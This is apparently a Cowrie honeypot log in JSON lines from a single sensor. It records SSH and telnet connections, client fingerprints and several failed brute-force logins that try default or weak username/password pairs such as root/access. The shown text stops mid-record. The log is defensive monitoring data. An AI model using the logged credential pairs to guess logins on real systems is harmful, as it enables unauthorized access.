{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:42.566832Z","src_ip":"163.7.1.218","session":"770efb7b712b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"admin","message":"login attempt [abc/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:43.630678Z","src_ip":"163.7.1.218","session":"770efb7b712b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:44.890857Z","src_ip":"163.7.1.218","session":"770efb7b712b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:45.003652Z","src_ip":"8.210.75.243","session":"4d8b9b3d27a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:47.701733Z","src_ip":"114.220.238.21","session":"33cf0104c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.220.238.21","src_port":33464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0a2cce1e58f","protocol":"ssh","message":"New connection: 114.220.238.21:33464 (10.17.0.5:22) [session: d0a2cce1e58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:48.098003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:48.101773Z","src_ip":"114.220.238.21","session":"d0a2cce1e58f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:48.368959Z","src_ip":"114.220.238.21","session":"d0a2cce1e58f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"access","message":"login attempt [root/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:49.474016Z","src_ip":"114.220.238.21","session":"d0a2cce1e58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:54.285699Z","src_ip":"8.210.75.243","session":"3cb3dbff9938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70911264419556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:55.261372Z","src_ip":"170.64.224.25","session":"148f8374dd32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33280,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dedc44f3d06","protocol":"ssh","message":"New connection: 103.77.175.15:33280 (159.203.135.109:22) [session: 6dedc44f3d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:16.427598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:16.431313Z","src_ip":"103.77.175.15","session":"6dedc44f3d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:16.669328Z","src_ip":"103.77.175.15","session":"6dedc44f3d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopik","message":"login attempt [root/knopik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:17.382126Z","src_ip":"103.77.175.15","session":"6dedc44f3d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:18.621032Z","src_ip":"103.77.175.15","session":"6dedc44f3d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48072,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab378b44530a","protocol":"ssh","message":"New connection: 194.59.206.2:48072 (10.17.0.5:22) [session: ab378b44530a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.317723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.320300Z","src_ip":"194.59.206.2","session":"ab378b44530a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.405121Z","src_ip":"194.59.206.2","session":"ab378b44530a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.495696Z","src_ip":"194.59.206.2","session":"ab378b44530a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":37040,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ed991518bb0","protocol":"ssh","message":"New connection: 152.53.185.81:37040 (10.17.0.5:22) [session: 6ed991518bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.848407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.853195Z","src_ip":"152.53.185.81","session":"6ed991518bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:20.943274Z","src_ip":"152.53.185.81","session":"6ed991518bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":48446,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5b55f6c6d0","protocol":"ssh","message":"New connection: 152.32.205.153:48446 (10.17.0.5:22) [session: 3a5b55f6c6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:21.256738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:21.261807Z","src_ip":"152.32.205.153","session":"3a5b55f6c6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:21.272900Z","src_ip":"152.32.205.153","session":"3a5b55f6c6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima123456","message":"login attempt [root/mima123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:21.339474Z","src_ip":"152.53.185.81","session":"6ed991518bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ll","message":"login attempt [root/ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:21.355624Z","src_ip":"152.32.205.153","session":"3a5b55f6c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:22.367178Z","src_ip":"8.210.75.243","session":"087906689de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:22.371500Z","src_ip":"152.32.205.153","session":"3a5b55f6c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:22.431305Z","src_ip":"152.53.185.81","session":"6ed991518bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":35482,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd2623fae9f8","protocol":"ssh","message":"New connection: 162.241.132.183:35482 (10.17.0.5:22) [session: bd2623fae9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.177673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.181586Z","src_ip":"162.241.132.183","session":"bd2623fae9f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.206041Z","src_ip":"162.241.132.183","session":"bd2623fae9f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cake","password":"cake456","message":"login attempt [cake/cake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.281108Z","src_ip":"162.241.132.183","session":"bd2623fae9f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":54044,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d10186f92e","protocol":"ssh","message":"New connection: 211.106.137.135:54044 (10.17.0.5:22) [session: c5d10186f92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.914808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:27.918517Z","src_ip":"211.106.137.135","session":"c5d10186f92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:28.129938Z","src_ip":"211.106.137.135","session":"c5d10186f92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:28.307785Z","src_ip":"162.241.132.183","session":"bd2623fae9f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rd@123456","message":"login attempt [root/rd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:28.960115Z","src_ip":"211.106.137.135","session":"c5d10186f92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:30.168068Z","src_ip":"211.106.137.135","session":"c5d10186f92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":41986,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ce478c85cd","protocol":"ssh","message":"New connection: 196.196.150.5:41986 (10.17.0.5:22) [session: 87ce478c85cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:35.697642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:35.702116Z","src_ip":"196.196.150.5","session":"87ce478c85cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"k